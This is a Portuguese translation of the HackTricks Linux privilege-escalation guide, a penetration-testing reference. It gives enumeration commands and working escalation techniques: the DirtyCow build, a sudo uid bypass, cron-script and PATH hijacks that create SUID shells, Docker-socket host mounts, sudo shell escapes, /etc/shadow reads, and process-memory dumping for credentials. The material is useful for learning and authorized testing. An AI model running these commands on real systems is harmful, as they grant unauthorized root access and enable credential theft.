hacktricks/linux-hardening/privilege-escalation

Escalação de Privilégios no Linux

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

• Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
• Adquira o material oficial PEASS & HackTricks
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
• Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.

Informações do Sistema

Informações do SO

Vamos começar obtendo algum conhecimento sobre o SO em execução

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Caminho

Se você tem permissões de escrita em qualquer pasta dentro da variável PATH, você pode ser capaz de sequestrar algumas bibliotecas ou binários:

echo $PATH

Informações do ambiente

Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?

(env || set) 2>/dev/null

Explorações do Kernel

Verifique a versão do kernel e se há algum exploit que possa ser usado para escalar privilégios

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Você pode encontrar uma boa lista de kernels vulneráveis e alguns exploits compilados aqui: https://github.com/lucyoa/kernel-exploits e exploitdb sploits.
Outros sites onde você pode encontrar alguns exploits compilados: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Para extrair todas as versões de kernel vulneráveis desse site, você pode fazer:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Ferramentas que podem ajudar a procurar por exploits de kernel são:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute NO vítima, verifica apenas exploits para kernel 2.x)

Sempre pesquise a versão do kernel no Google, talvez a sua versão do kernel esteja escrita em algum exploit de kernel e então você terá certeza de que este exploit é válido.

CVE-2016-5195 (DirtyCow)

Elevação de Privilégio no Linux - Kernel Linux <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Versão do Sudo

Baseado nas versões vulneráveis do sudo que aparecem em:

searchsploit sudo

Você pode verificar se a versão do sudo é vulnerável usando este grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

De @sickrov

sudo -u#-1 /bin/bash

Falha na verificação de assinatura do Dmesg

Verifique a caixa smasher2 do HTB para um exemplo de como essa vulnerabilidade poderia ser explorada

dmesg 2>/dev/null | grep "signature"

Mais enumeração do sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumeração de possíveis defesas

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Fuga do Docker

Se você estiver dentro de um contêiner Docker, você pode tentar escapar dele:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Drives

Verifique o que está montado e desmontado, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar se há informações privadas

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software útil

Enumere binários úteis

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Também, verifique se algum compilador está instalado. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software Vulnerável Instalado

Verifique a versão dos pacotes e serviços instalados. Talvez haja alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalar privilégios...
É recomendado verificar manualmente a versão do software instalado mais suspeito.

dpkg -l #Debian
rpm -qa #Centos

Se você tem acesso SSH à máquina, você também pode usar o openVAS para verificar se há softwares desatualizados e vulneráveis instalados na máquina.

{% hint style="info" %} Note que esses comandos mostrarão muitas informações que serão em sua maioria inúteis, portanto, é recomendado o uso de algumas aplicações como o OpenVAS ou similares que verificarão se alguma versão de software instalado é vulnerável a exploits conhecidos {% endhint %}

Processos

Observe quais processos estão sendo executados e verifique se algum processo tem mais privilégios do que deveria (talvez um tomcat sendo executado pelo root?).

ps aux
ps -ef
top -n 1

Sempre verifique a possibilidade de depuradores electron/cef/chromium em execução, você pode abusar disso para escalar privilégios. Linpeas detecta isso verificando o parâmetro --inspect na linha de comando do processo.
Verifique também seus privilégios sobre os binários dos processos, talvez você possa sobrescrever algum.

Monitoramento de processos

Você pode usar ferramentas como pspy para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados frequentemente ou quando um conjunto de requisitos é atendido.

Memória do processo

Alguns serviços de um servidor salvam credenciais em texto claro dentro da memória.
Normalmente, você precisará de privilégios de root para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e quer descobrir mais credenciais.
No entanto, lembre-se de que como um usuário regular você pode ler a memória dos processos que possui.

{% hint style="warning" %} Observe que hoje em dia a maioria das máquinas não permite ptrace por padrão, o que significa que você não pode despejar outros processos que pertencem ao seu usuário não privilegiado.

O arquivo /proc/sys/kernel/yama/ptrace_scope controla a acessibilidade do ptrace:

• kernel.yama.ptrace_scope = 0: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a maneira clássica de como o ptracing funcionava.
• kernel.yama.ptrace_scope = 1: apenas um processo pai pode ser depurado.
• kernel.yama.ptrace_scope = 2: Apenas o administrador pode usar ptrace, pois é necessária a capacidade CAP_SYS_PTRACE.
• kernel.yama.ptrace_scope = 3: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar o ptrace novamente. {% endhint %}

GDB

Se você tem acesso à memória de um serviço FTP (por exemplo), você poderia obter o Heap e procurar dentro dele por credenciais.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script GDB

{% code title="dump-memory.sh" %}

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Para um determinado ID de processo, maps mostra como a memória está mapeada dentro do espaço de endereço virtual desse processo; ele também mostra as permissões de cada região mapeada. O pseudo arquivo mem expõe a própria memória dos processos. A partir do arquivo maps, sabemos quais regiões de memória são legíveis e seus deslocamentos. Usamos essas informações para buscar no arquivo mem e despejar todas as regiões legíveis em um arquivo.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem oferece acesso à memória física do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.
Tipicamente, /dev/mem só pode ser lido por root e pelo grupo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump para Linux

ProcDump é uma recriação para Linux da clássica ferramenta ProcDump do conjunto de ferramentas Sysinternals para Windows. Obtenha-a em https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Ferramentas

Para despejar a memória de um processo, você pode usar:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Você pode remover manualmente os requisitos de root e despejar o processo que pertence a você
• Script A.5 de https://www.delaat.net/rp/2016-2017/p97/report.pdf (root é necessário)

Credenciais da Memória do Processo

Exemplo Manual

Se você descobrir que o processo do autenticador está em execução:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Você pode despejar o processo (veja as seções anteriores para encontrar diferentes maneiras de despejar a memória de um processo) e procurar por credenciais dentro da memória:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

A ferramenta https://github.com/huntergregal/mimipenguin irá roubar credenciais em texto claro da memória e de alguns arquivos bem conhecidos. Ela requer privilégios de root para funcionar corretamente.

Recurso	Nome do Processo
Senha do GDM (Kali Desktop, Debian Desktop)	gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)	gnome-keyring-daemon
LightDM (Ubuntu Desktop)	lightdm
VSFTPd (Conexões FTP Ativas)	vsftpd
Apache2 (Sessões Ativas de Autenticação Básica HTTP)	apache2
OpenSSH (Sessões SSH Ativas - Uso do Sudo)	sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Tarefas Agendadas/Cron

Verifique se alguma tarefa agendada é vulnerável. Talvez você possa tirar vantagem de um script sendo executado pelo root (vulnerabilidade de wildcard? pode modificar arquivos que o root usa? usar symlinks? criar arquivos específicos no diretório que o root usa?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Caminho do Cron

Por exemplo, dentro de /etc/crontab você pode encontrar o PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Observe como o usuário "user" tem privilégios de escrita sobre /home/user)

Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o caminho. Por exemplo: * * * * root overwrite.sh
Então, você pode obter um shell root usando:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron usando um script com um curinga (Wildcard Injection)

Se um script executado pelo root contém um "*" dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Se o curinga for precedido de um caminho como /algum/caminho/*, não é vulnerável (mesmo ./* não é).

Leia a seguinte página para mais truques de exploração de curingas:

{% content-ref url="wildcards-spare-tricks.md" %} wildcards-spare-tricks.md {% endcontent-ref %}

Sobrescrita de script de cron e symlink

Se você pode modificar um script de cron executado pelo root, você pode obter um shell muito facilmente:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Se o script executado pelo root usa um diretório onde você tem acesso total, talvez possa ser útil deletar essa pasta e criar um symlink para outra que contenha um script controlado por você.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Tarefas cron frequentes

Você pode monitorar os processos para buscar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar vantagem disso e escalar privilégios.

Por exemplo, para monitorar a cada 0.1s durante 1 minuto, ordenar pelos comandos menos executados e deletar os comandos que foram mais executados, você pode fazer:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Você também pode usar pspy (isso irá monitorar e listar todos os processos que iniciam).

Cron jobs invisíveis

É possível criar um cronjob colocando um retorno de carro após um comentário (sem caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere de retorno de carro):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Serviços

Arquivos .service editáveis

Verifique se você pode editar algum arquivo .service, se puder, você pode modificá-lo para que execute sua backdoor quando o serviço for iniciado, reiniciado ou parado (talvez você precise esperar até que a máquina seja reiniciada).
Por exemplo, crie sua backdoor dentro do arquivo .service com ExecStart=/tmp/script.sh

Binários de serviço editáveis

Lembre-se de que se você tem permissões de escrita sobre binários que estão sendo executados por serviços, você pode substituí-los por backdoors para que, quando os serviços forem reexecutados, as backdoors sejam executadas.

systemd PATH - Caminhos Relativos

Você pode ver o PATH usado pelo systemd com:

systemctl show-environment

Se você descobrir que pode escrever em qualquer uma das pastas do caminho, você pode ser capaz de escalar privilégios. Você precisa procurar por caminhos relativos sendo usados em arquivos de configurações de serviços como:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Então, crie um executável com o mesmo nome que o binário do caminho relativo dentro da pasta PATH do systemd onde você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (Start, Stop, Reload), seu backdoor será executado (usuários não privilegiados geralmente não podem iniciar/parar serviços, mas verifique se você pode usar sudo -l).

Saiba mais sobre serviços com man systemd.service.

Timers

Timers são arquivos de unidade systemd cujo nome termina em **.timer** que controlam arquivos **.service** ou eventos. Timers podem ser usados como uma alternativa ao cron, pois têm suporte integrado para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona.

Você pode enumerar todos os timers com:

systemctl list-timers --all

Timers editáveis

Se você pode modificar um timer, você pode fazê-lo executar algumas instâncias de systemd.unit (como um .service ou um .target)

Unit=backdoor.service

Na documentação, você pode ler o que a Unidade é:

A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, esse valor é padrão para um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendado que o nome da unidade que é ativada e o nome da unidade do temporizador sejam idênticos, exceto pelo sufixo.

Portanto, para abusar dessa permissão, você precisaria:

• Encontrar alguma unidade systemd (como um .service) que esteja executando um binário gravável
• Encontrar alguma unidade systemd que esteja executando um caminho relativo e você tenha privilégios graváveis sobre o caminho do systemd (para se passar por esse executável)

Aprenda mais sobre temporizadores com man systemd.timer.

Habilitando Temporizador

Para habilitar um temporizador, você precisa de privilégios de root e executar:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Observe que o timer é ativado ao criar um symlink para ele em /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Resumidamente, um Socket Unix (tecnicamente, o nome correto é Unix Domain Socket, UDS) permite a comunicação entre dois processos diferentes seja na mesma máquina ou em máquinas diferentes em frameworks de aplicação cliente-servidor. Para ser mais preciso, é uma forma de comunicação entre computadores usando um arquivo de descritores Unix padrão. (De aqui).

Sockets podem ser configurados usando arquivos .socket.

Aprenda mais sobre sockets com man systemd.socket. Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Estas opções são diferentes, mas um resumo é usado para indicar onde vai escutar o socket (o caminho do arquivo de socket AF_UNIX, o número IPv4/6 e/ou porta para escutar, etc.)
• Accept: Recebe um argumento booleano. Se verdadeiro, uma instância de serviço é gerada para cada conexão recebida e apenas o socket de conexão é passado para ela. Se falso, todos os sockets de escuta são passados para a unidade de serviço iniciada, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. Por padrão é falso. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para Accept=no.
• ExecStartPre, ExecStartPost: Recebe uma ou mais linhas de comando, que são executadas antes ou depois que os sockets/FIFOs de escuta são criados e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo.
• ExecStopPre, ExecStopPost: Comandos adicionais que são executados antes ou depois que os sockets/FIFOs de escuta são fechados e removidos, respectivamente.
• Service: Especifica o nome da unidade de serviço a ser ativada em tráfego recebido. Esta configuração só é permitida para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção.

Arquivos .socket graváveis

Se você encontrar um arquivo .socket gravável, você pode adicionar no início da seção [Socket] algo como: ExecStartPre=/home/kali/sys/backdoor e o backdoor será executado antes que o socket seja criado. Portanto, você provavelmente precisará esperar até que a máquina seja reiniciada.
Observe que o sistema deve estar usando essa configuração de arquivo de socket ou o backdoor não será executado

Sockets graváveis

Se você identificar qualquer socket gravável (agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração .socket), então você pode se comunicar com esse socket e talvez explorar uma vulnerabilidade.

Enumerar Unix Sockets

netstat -a -p --unix

Conexão Bruta

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exemplo de exploração:

{% content-ref url="socket-command-injection.md" %} socket-command-injection.md {% endcontent-ref %}

Sockets HTTP

Note que podem existir alguns sockets à espera de pedidos HTTP (Não estou me referindo a arquivos .socket, mas aos arquivos que atuam como unix sockets). Você pode verificar isso com:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Se o socket responder com uma requisição HTTP, então você pode comunicar com ele e talvez explorar alguma vulnerabilidade.

Socket Docker Gravável

O socket docker geralmente está localizado em /var/run/docker.sock e só pode ser gravado pelo usuário root e pelo grupo docker.
Se por algum motivo você tiver permissões de escrita sobre esse socket, você pode escalar privilégios.
Os seguintes comandos podem ser usados para escalar privilégios:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Utilize a API web do docker a partir do socket sem o pacote docker

Se você tem acesso ao socket do docker mas não pode usar o binário docker (talvez ele nem esteja instalado), você pode usar a API web diretamente com curl.

Os comandos a seguir são um exemplo de como criar um container docker que monta a raiz do sistema hospedeiro e usar socat para executar comandos no novo docker.

# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
#[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
#{"Id":"<NewContainerID>","Warnings":[]}
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

O último passo é usar socat para iniciar uma conexão com o container, enviando uma solicitação de "attach"

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

#HTTP/1.1 101 UPGRADED
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp

Agora, você pode executar comandos no container a partir desta conexão socat.

Outros

Observe que se você tem permissões de escrita no socket do docker porque está dentro do grupo docker, você tem mais maneiras de escalar privilégios. Se a API do docker estiver ouvindo em uma porta, você também pode ser capaz de comprometê-la.

Confira mais maneiras de sair do docker ou abusar dele para escalar privilégios em:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Escalação de privilégios Containerd (ctr)

Se você descobrir que pode usar o comando ctr, leia a seguinte página, pois você pode ser capaz de abusar dele para escalar privilégios:

{% content-ref url="containerd-ctr-privilege-escalation.md" %} containerd-ctr-privilege-escalation.md {% endcontent-ref %}

Escalação de privilégios RunC

Se você descobrir que pode usar o comando runc, leia a seguinte página, pois você pode ser capaz de abusar dele para escalar privilégios:

{% content-ref url="runc-privilege-escalation.md" %} runc-privilege-escalation.md {% endcontent-ref %}

D-Bus

D-BUS é um sistema de Comunicação Inter-Processos (IPC), fornecendo um mecanismo simples, porém poderoso, permitindo que aplicações conversem entre si, comuniquem informações e solicitem serviços. O D-BUS foi projetado do zero para atender às necessidades de um sistema Linux moderno.

Como um sistema IPC e de objetos completo, o D-BUS tem várias utilizações pretendidas. Primeiro, o D-BUS pode realizar IPC de aplicativos básicos, permitindo que um processo transfira dados para outro—pense em sockets de domínio UNIX com esteroides. Segundo, o D-BUS pode facilitar o envio de eventos ou sinais pelo sistema, permitindo que diferentes componentes do sistema se comuniquem e se integrem melhor. Por exemplo, um daemon Bluetooth pode enviar um sinal de chamada recebida que seu player de música pode interceptar, silenciando o volume até que a chamada termine. Finalmente, o D-BUS implementa um sistema de objetos remotos, permitindo que um aplicativo solicite serviços e invoque métodos de um objeto diferente—pense em CORBA sem as complicações. (De aqui).

O D-Bus usa um modelo de permitir/negar, onde cada mensagem (chamada de método, emissão de sinal, etc.) pode ser permitida ou negada de acordo com a soma de todas as regras de política que a correspondem. Cada regra na política deve ter o atributo own, send_destination ou receive_sender definido.

Parte da política de /etc/dbus-1/system.d/wpa_supplicant.conf:

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Portanto, se uma política está permitindo que seu usuário interaja com o barramento de alguma forma, você poderá explorá-la para escalar privilégios (talvez apenas listando algumas senhas?).

Note que uma política que não especifica nenhum usuário ou grupo afeta a todos (<policy>).
Políticas no contexto "default" afetam todos que não são afetados por outras políticas (<policy context="default").

Aprenda como enumerar e explorar uma comunicação D-Bus aqui:

{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} d-bus-enumeration-and-command-injection-privilege-escalation.md {% endcontent-ref %}

Rede

É sempre interessante enumerar a rede e descobrir a posição da máquina.

Enumeração genérica

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Portas abertas

Verifique sempre os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Verifique se você pode capturar tráfego. Se puder, você pode conseguir obter algumas credenciais.

timeout 1 tcpdump

Usuários

Enumeração Genérica

Verifique quem você é, quais privilégios você possui, quais usuários estão nos sistemas, quais podem fazer login e quais têm privilégios de root:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Algumas versões do Linux foram afetadas por um bug que permite a usuários com UID > INT_MAX escalar privilégios. Mais informações: aqui, aqui e aqui.
Explore isso usando: systemd-run -t /bin/bash

Grupos

Verifique se você é membro de algum grupo que poderia conceder-lhe privilégios de root:

{% content-ref url="interesting-groups-linux-pe/" %} interesting-groups-linux-pe {% endcontent-ref %}

Área de Transferência

Verifique se há algo interessante localizado dentro da área de transferência (se possível)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Política de Senhas

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Senhas conhecidas

Se você sabe alguma senha do ambiente, tente fazer login como cada usuário usando a senha.

Su Brute

Se não se importar em fazer barulho e os binários su e timeout estiverem presentes no computador, você pode tentar força bruta no usuário usando su-bruteforce.
Linpeas com o parâmetro -a também tenta força bruta nos usuários.

Abusos de PATH gravável

$PATH

Se você descobrir que pode escrever dentro de alguma pasta do $PATH, você pode ser capaz de escalar privilégios criando uma porta dos fundos dentro da pasta gravável com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que não é carregado de uma pasta localizada anteriormente à sua pasta gravável no $PATH.

SUDO e SUID

Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Alguns comandos inesperados permitem que você leia e/ou escreva arquivos ou até mesmo execute um comando. Por exemplo:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

Neste exemplo, o usuário demo pode executar vim como root, agora é trivial obter um shell adicionando uma chave ssh no diretório root ou chamando sh.

sudo vim -c '!sh'

SETENV

Esta diretiva permite ao usuário definir uma variável de ambiente enquanto executa algo:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Este exemplo, baseado na máquina HTB Admirer, estava vulnerável ao sequestro de PYTHONPATH para carregar uma biblioteca python arbitrária enquanto executava o script como root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

Bypass de execução do Sudo através de caminhos

Jump para ler outros arquivos ou usar symlinks. Por exemplo, no arquivo sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Se um wildcard for usado (*), é ainda mais fácil:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contramedidas: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Comando Sudo/Binário SUID sem caminho do comando

Se a permissão sudo for concedida a um único comando sem especificar o caminho: hacker10 ALL= (root) less, você pode explorá-lo alterando a variável PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

